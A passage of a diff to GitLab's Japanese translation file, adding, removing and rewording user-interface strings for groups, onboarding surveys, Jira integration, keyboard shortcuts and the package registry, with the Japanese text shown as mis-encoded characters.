+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15467,6 +15685,9 @@ msgstr "ロードマップを表示ã™ã‚‹ã«ã¯ã€ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—ã¾ãŸã¯ã
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr "検索範囲を広ã’ã‚‹ã«ã¯ã€ãƒ•ã‚£ãƒ«ã‚¿ã‚’変更ã¾ãŸã¯å‰Šé™¤ã—ã¾ã™ã€‚ %{startDate} ã‹ã‚‰ %{endDate} ã¾ã§"
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15785,9 +16006,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr "グループã¯ã€%{subgroup_docs_link_start}サブグループ%{subgroup_docs_link_end}を作æˆã™ã‚‹ã“ã¨ã§ãƒã‚¹ãƒˆã™ã‚‹ã“ã¨ã‚‚ã§ãã¾ã™ã€‚"
-
msgid "Groups to synchronize"
msgstr ""
@@ -15824,22 +16042,31 @@ msgstr "グループã¯ã‚ã‚Šã¾ã›ã‚“"
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr "グループメンãƒãƒ¼ã®æ¨©é™ç®¡ç†ã€ãŠã‚ˆã³ã‚°ãƒ«ãƒ¼ãƒ—内ã®å„プロジェクトã®ã‚¢ã‚¯ã‚»ã‚¹æ¨©é™ã‚’管ç†ã§ãã¾ã™ã€‚"
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
-msgstr "作æˆ"
-
msgid "GroupsNew|Create group"
msgstr "グループを作æˆ"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
+msgstr ""
+
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -15911,7 +16138,7 @@ msgstr "ガイドライン"
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -15926,6 +16153,9 @@ msgstr "リãƒã‚¸ãƒˆãƒªã‚¹ãƒˆãƒ¬ãƒ¼ã‚¸ãƒ‘スã®ãƒãƒƒã‚·ãƒ¥"
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -15938,6 +16168,18 @@ msgstr ""
msgid "Header message"
msgstr "ヘッダーメッセージ"
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16053,9 +16295,6 @@ msgstr "ペイロードを隠ã™"
msgid "Hide shared projects"
msgstr "共有プロジェクトをéžè¡¨ç¤ºã«"
-msgid "Hide stage"
-msgstr "ステージをéžè¡¨ç¤º"
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "éžè¡¨ç¤º"
@@ -16084,9 +16323,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr "履歴"
@@ -16171,9 +16407,24 @@ msgstr "パスワードを忘れã¾ã—ãŸ"
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr "Let's Encryptã® %{link_start} 利用è¦ç´„ %{link_end} (PDF) を読ã¿ã€åŒæ„ã—ã¾ã—ãŸã€‚"
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr "ID"
@@ -16183,9 +16434,6 @@ msgstr "ID:"
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr "戻る"
@@ -16339,6 +16587,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr "HTTPリãƒã‚¸ãƒˆãƒªã®ã‚¢ã‚¯ã‚»ã‚¹ãŒåˆ¶é™ã•ã‚Œã¦ã„ã‚‹å ´åˆã€èªè¨¼æƒ…報を追加ã—ã¦ãã ã•ã„。"
@@ -16582,6 +16833,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16613,6 +16867,9 @@ msgid "InProductMarketing|Blog"
msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
+msgstr "コードオーナーã¨ãƒžãƒ¼ã‚¸æ‰¿èªå¿…須化を有効化ã™ã‚‹ã“ã¨ã§ã€å€‹ã€…ã®MRã‚’é©åˆ‡ãªäººãŒãƒ¬ãƒ“ューã§ãるよã†ã«ãªã‚Šã¾ã™ã€‚ã“ã‚Œã«ã‚ˆã‚Šç°¡æ½”ãªã‚³ãƒ¼ãƒ‰ã¨åŠ¹çŽ‡çš„ãªãƒ¬ãƒ“ュープロセスãŒå®Ÿç¾ã—ã¾ã™ã€‚"
+
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
msgstr ""
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
@@ -16627,9 +16884,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16642,6 +16908,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16768,6 +17037,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16807,6 +17079,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16822,10 +17097,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16861,9 +17136,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -16939,6 +17223,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -16978,6 +17265,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17017,6 +17307,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17032,9 +17325,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17164,8 +17454,8 @@ msgstr "ã“ã®ãƒ©ãƒ³ãƒŠãƒ¼ãŒã‚¿ã‚°ã®ãªã„ジョブをé¸æŠžã§ãã‚‹ã‹ã©ã†
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr "SSHキーをアップロードã—ã¦ã„ãªã„ユーザーã«ã€è¿½åŠ ã•ã‚Œã‚‹ã¾ã§ SSH 経由ã§ãƒ—ッシュã§ããªã„ã“ã¨ã‚’通知"
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
-msgstr "追加ã®Pagesテンプレートã«é–¢ã™ã‚‹æƒ…å ±ã¨ãれらをインストールã™ã‚‹æ–¹æ³•ã«ã¤ã„ã¦ã¯ã€ç§ãŸã¡ã® %{pages_getting_started_guide} ã‚’å‚ç…§ã—ã¦ãã ã•ã„。"
+msgid "Infrastructure"
+msgstr ""
msgid "Infrastructure Registry"
msgstr ""
@@ -17360,10 +17650,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17441,7 +17731,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17627,7 +17917,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -17861,6 +18151,9 @@ msgstr "イシュー分æž"
msgid "Issue Boards"
msgstr "イシューボード"
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -17930,12 +18223,6 @@ msgstr "ステータス"
msgid "IssueAnalytics|Weight"
msgstr "ウェイト"
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -17963,6 +18250,27 @@ msgstr "ボードを切り替ãˆã‚‹"
msgid "IssueTracker|Custom issue tracker"
msgstr "カスタムイシュートラッカー"
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18008,6 +18316,9 @@ msgstr "イシューã¨ã¯ãƒã‚°ã€ã‚¿ã‚¹ã‚¯ã€ã¾ãŸã¯è­°è«–ã®å¿…è¦ãªã‚¢ã‚¤
msgid "Issues closed"
msgstr "クローズã—ãŸã‚¤ã‚·ãƒ¥ãƒ¼"
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18110,6 +18421,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18119,6 +18433,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18152,15 +18472,15 @@ msgstr "500年以上先ã«ã™ã‚‹ã“ã¨ã¯ã§ãã¾ã›ã‚“"
msgid "I’m familiar with the basics of DevOps."
msgstr ""
+msgid "I’m joining my team who’s already on GitLab"
+msgstr ""
+
msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
msgstr "Jaeger URL"
-msgid "Jaeger tracing"
-msgstr "Jaeger トレーシング"
-
msgid "Jan"
msgstr "1月"
@@ -18182,7 +18502,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18257,6 +18577,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18272,11 +18595,11 @@ msgstr "JIRA APIã®URL"
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
-msgstr "イシューãŒã‚³ãƒŸãƒƒãƒˆã§å‚ç…§ã•ã‚Œã‚‹ã¨ Jiraã®ã‚³ãƒ¡ãƒ³ãƒˆãŒä½œæˆã•ã‚Œã¾ã™ã€‚"
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
+msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
-msgstr "イシューãŒãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã§å‚ç…§ã•ã‚Œã‚‹ã¨ Jiraã®ã‚³ãƒ¡ãƒ³ãƒˆãŒä½œæˆã•ã‚Œã¾ã™ã€‚"
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
+msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
@@ -18362,8 +18685,8 @@ msgstr "Web URL"
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
-msgstr "é·ç§»IDã¯ã€ã‚³ãƒ³ãƒž, やセミコロン; ã§åˆ†å‰²ã§ãる複数ã¾ãŸã¯ä¸€ã¤ã®æ•°å€¤ã§ãªã‘ã‚Œã°ãªã‚Šã¾ã›ã‚“。"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
+msgstr ""
msgid "Job"
msgstr "ジョブ"
@@ -18410,6 +18733,18 @@ msgstr ""
msgid "Job was retried"
msgstr "ジョブãŒå†è©¦è¡Œã•ã‚Œã¾ã—ãŸ"
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr "ジョブ"
@@ -18425,6 +18760,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18518,6 +18856,9 @@ msgstr "ソースブランãƒ:"
msgid "Join Zoom meeting"
msgstr "Zoom ミーティングã«å‚加ã™ã‚‹"
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18551,6 +18892,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18578,9 +18922,30 @@ msgstr "キー: %{key}"
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18617,6 +18982,9 @@ msgstr "Kubernetes クラスターã®çµ±åˆã¯æ­£å¸¸ã«å‰Šé™¤ã•ã‚Œã¾ã—ãŸã€‚"
msgid "Kubernetes cluster was successfully updated."
msgstr "Kubernetes クラスターã¯æ­£å¸¸ã«æ›´æ–°ã•ã‚Œã¾ã—ãŸã€‚"
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr "リソース deployment ãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸã€‚"
@@ -18858,18 +19226,12 @@ msgstr "ã“ã®ãƒ–ランãƒã§ã®ç›´è¿‘ã®ã‚³ãƒŸãƒƒãƒˆã®æœ€æ–°ã®ãƒ‘イプライ
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr "リード"
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr "GitLab ã‚’å­¦ã¶"
@@ -19041,6 +19403,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19077,6 +19445,9 @@ msgstr "Let's Encryptã¯example.comã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã‚’å—ã‘付ã‘ã¾ã›
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr "Let's Encryptã¯ã€Webサイトã§HTTPS (SSL/TLS) を有効ã«ã™ã‚‹ãŸã‚ã«ãƒ‡ã‚¸ã‚¿ãƒ«è¨¼æ˜Žæ›¸ã‚’発行ã™ã‚‹ã€ç„¡æ–™ã®è‡ªå‹•åŒ–ã•ã‚ŒãŸã‚ªãƒ¼ãƒ—ンãªèªè¨¼å±€ (CA) ã§ã™ã€‚ %{docs_link_start} GitLab Pages ã®æ–‡æ›¸ %{docs_link_end} ã«å¾“ã£ã¦ã€Let's Encryptã®è¨­å®šã®è©³ç´°ã‚’学んã§ãã ã•ã„。"
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr "ライセンス"
@@ -19558,8 +19929,8 @@ msgstr "イシューをéžå…¬é–‹ã«ã™ã‚‹ã€‚"
msgid "Manage"
msgstr "管ç†"
-msgid "Manage Web IDE features"
-msgstr "Web IDE 機能ã®ç®¡ç†"
+msgid "Manage Web IDE features."
+msgstr ""
msgid "Manage access"
msgstr "アクセス管ç†"
@@ -19816,6 +20187,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -19903,6 +20277,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr "最大プッシュサイズ (MB)"
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20098,6 +20475,9 @@ msgstr ""
msgid "Memory Usage"
msgstr "メモリ使用é‡"
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr "マージ"
@@ -20149,9 +20529,6 @@ msgstr "マージオプション"
msgid "Merge request"
msgstr "マージリクエスト"
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr "マージリクエスト %{iid} ㌠%{authorName}ã«ã‚ˆã£ã¦ä½œæˆã•ã‚Œã¾ã—ãŸ"
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr "マージリクエスト %{mr_link} 㯠%{mr_author}ã«ã‚ˆã£ã¦ãƒ¬ãƒ“ューã•ã‚Œã¾ã—ãŸ"
@@ -20440,10 +20817,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20543,6 +20920,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr "é¡žä¼¼ã®ãƒ¡ãƒˆãƒªã‚¯ã‚¹ã‚’グループ化"
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20717,12 +21097,12 @@ msgstr "Microsoft Azure"
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
-msgstr ""
-
msgid "Migrated %{success_count}/%{total_count} files."
msgstr "%{success_count}/%{total_count} 個ã®ãƒ•ã‚¡ã‚¤ãƒ«ãŒç§»è¡Œã•ã‚Œã¾ã—ãŸã€‚"
+msgid "Migration"
+msgstr ""
+
msgid "Migration has been scheduled to be retried"
msgstr ""
@@ -20976,6 +21356,12 @@ msgstr "マージコミットを変更"
msgid "Monday"
msgstr "月曜日"
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr "Sentry ã¨çµ±åˆã—ã¦ã‚¨ãƒ©ãƒ¼ã‚’モニターã™ã‚‹ã€‚"
@@ -21108,6 +21494,9 @@ msgstr "複数ã®ãƒ¢ãƒ‡ãƒ«ã‚¿ã‚¤ãƒ—ãŒè¦‹ã¤ã‹ã‚Šã¾ã—ãŸ: %{model_types}"
msgid "Multiple uploaders found: %{uploader_types}"
msgstr "複数ã®ã‚¢ãƒƒãƒ—ローダーãŒè¦‹ã¤ã‹ã‚Šã¾ã—ãŸ: %{uploader_types}"
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21135,6 +21524,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr "ãã®åå‰ã¯æ—¢ã«ä½¿ç”¨ã•ã‚Œã¦ã„ã¾ã™ã€‚"
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr "æ–°ã—ã„ラベルã«åå‰ã‚’ã¤ã‘ã‚‹"
@@ -21301,9 +21693,6 @@ msgstr "説明"
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21403,9 +21792,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21752,7 +22138,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21779,6 +22165,9 @@ msgstr "データãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“"
msgid "No data to display"
msgstr "表示ã™ã‚‹ãƒ‡ãƒ¼ã‚¿ã¯ã‚ã‚Šã¾ã›ã‚“"
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr "デプロイãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“"
@@ -21992,6 +22381,9 @@ msgstr "ãªã—"
msgid "None of the group milestones have the same project as the release"
msgstr "リリースã¨åŒã˜ãƒ—ロジェクトをæŒã¤ã‚°ãƒ«ãƒ¼ãƒ—マイルストーンãŒã‚ã‚Šã¾ã›ã‚“"
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr "未実装"
@@ -22314,6 +22706,9 @@ msgstr "ãŠã£ã¨!"
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr "å¤ã„é †"
@@ -22693,7 +23088,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22792,7 +23187,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -22858,6 +23253,9 @@ msgstr "パッケージタイプ㌠Conan ã§ãªã‘ã‚Œã°ãªã‚Šã¾ã›ã‚“"
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr "パッケージタイプ㌠Maven ã§ãªã‘ã‚Œã°ãªã‚Šã¾ã›ã‚“"
@@ -22885,6 +23283,9 @@ msgstr "Conan リモートã®è¿½åŠ "
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr "NuGet ソースを追加"
@@ -22927,6 +23328,9 @@ msgstr "Conan セットアップコマンドをコピー"
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr "Maven XMLをコピー"
@@ -22948,6 +23352,9 @@ msgstr "pip コマンドをコピー"
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
